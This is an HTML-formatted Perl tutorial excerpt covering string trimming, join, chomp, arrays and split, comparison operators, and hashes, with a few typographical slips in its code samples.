<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substitute one or more white space characters with nothing from end and beginning of the string (leading and trailing spaces)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$test =~ s/^\s+|\s+$//g</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span></p>
<h2 style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><a name="_Toc220220662"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Join string with/out delimiter</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">Join “”, &lt;string 1&gt;, &lt;string2&gt; [Join without any delimiter]</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Output</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">: &lt;string1&gt;&lt;string2&gt;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">Join “,”, &lt;string 1&gt;, &lt;string2&gt; [Join with ‘,’ delimiter]</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Output</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">: &lt;string1&gt;,&lt;string2&gt;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><a name="_Toc220220663"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Remove newline</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substitute newline with nothing from the end of the string</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$variable =~ s/\n+$//</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">chomp ($variable)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">If <span style="color: black;">variable</span> is a hash, it chomps the hash&#8217;s values, but not its keys</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="text-decoration: none;"> </span></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><strong style="mso-bidi-font-weight: normal;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="text-decoration: none;"> </span></span></span></strong></p>
<h2 style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><a name="_Toc220220664"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Array [split on delimiter]</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold; mso-bidi-font-family: Arial;">Array</span></span><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> designated by @</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">@Arraytrial = (‘Trial’,’Array’)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">$# Arraytrial=1 [</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">largest index value] </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">To clean any array just set the largest index value to -1</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">$# Arraytrial = -1;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">String can be put into array splitting it on a delimiter</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">@</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';"> Arraytrial </span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">= <strong style="mso-bidi-font-weight: normal;">split</strong>(&#8217;,',$variable) [splitted on comma ‘,’]</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"><span style="mso-tab-count: 1;">          </span>Split is an in built function which splits the string on the delimiter.</span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="text-decoration: none;"> </span></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><a name="_Toc220220665"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Data comparison</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">The comparison operator for numbers and strings are as follows:</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<table class="MsoNormalTable" style="margin: auto auto auto 77.4pt; width: 6in; border-collapse: collapse; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-border-alt: solid windowtext .5pt; mso-yfti-tbllook: 480; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext;" border="1" cellspacing="0" cellpadding="0" width="576">
<tbody>
<tr style="mso-yfti-irow: 0; mso-yfti-firstrow: yes;">
<td style="padding-right: 5.4pt; padding-left: 5.4pt; padding-bottom: 0in; width: 150.6pt; padding-top: 0in; background-color: transparent; mso-border-alt: solid windowtext .5pt; border: windowtext 1pt solid;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Compare<span style="mso-tab-count: 1;">        </span><span style="mso-tab-count: 1;">            </span></span></strong></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: windowtext 1pt solid; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Numbers<span style="mso-tab-count: 1;">       </span></span></strong></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: windowtext 1pt solid; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">String</span></strong></p>
</td>
</tr>
<tr style="mso-yfti-irow: 1;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Less than</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">&lt; </span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">lt</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 2;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Greater than</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">&gt; </span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">gt</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 3;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Less than equal</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">&lt;=</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">le</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 4;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; background: white; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Greater than equal</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; background: white; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">&gt;=</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; background: white; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">ge</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 5;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Equal</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">==</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">eq</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 6;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Not equal</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">!=</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">ne</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 7; mso-yfti-lastrow: yes;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">compare</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">&lt;=&gt;</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">cmp</span></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><a name="_Toc220220666"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Hash/Associative Array</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="text-decoration: underline;"><span style="font-size: 10pt; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold; mso-bidi-font-family: Arial;">Hash or associative array</span></span><span style="text-decoration: underline;"><span style="font-size: 10pt; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> </span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">designated<span style="color: black;"> by %</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">Hashes contain data in pairs called <strong style="mso-bidi-font-weight: normal;">KEY</strong> and associated <strong style="mso-bidi-font-weight: normal;">VALUE</strong></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">%names = (‘somali’,’444’,’arundhati’,’631’)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">Or </span></strong></p>
<pre style="margin: 0in -99pt 0pt 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 458.0pt 503.8pt 7.25in 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"><span style="font-size: x-small;">% names = (somali<span style="mso-spacerun: yes;">         </span>-&gt; ‘444’,</span></span></pre>
<pre style="margin: 0in -99pt 0pt 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 458.0pt 503.8pt 7.25in 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"><span style="font-size: x-small;"><span style="mso-tab-count: 1;">     </span><span style="mso-spacerun: yes;">          </span><span style="mso-tab-count: 1;">  </span><span style="mso-spacerun: yes;">   </span>arundhati<span style="mso-spacerun: yes;">     </span>-&gt; '631')</span></span></pre>
<pre style="margin: 0in -99pt 0pt 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 458.0pt 503.8pt 7.25in 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"><span style="font-size: x-small;">Or</span></span></strong></pre>
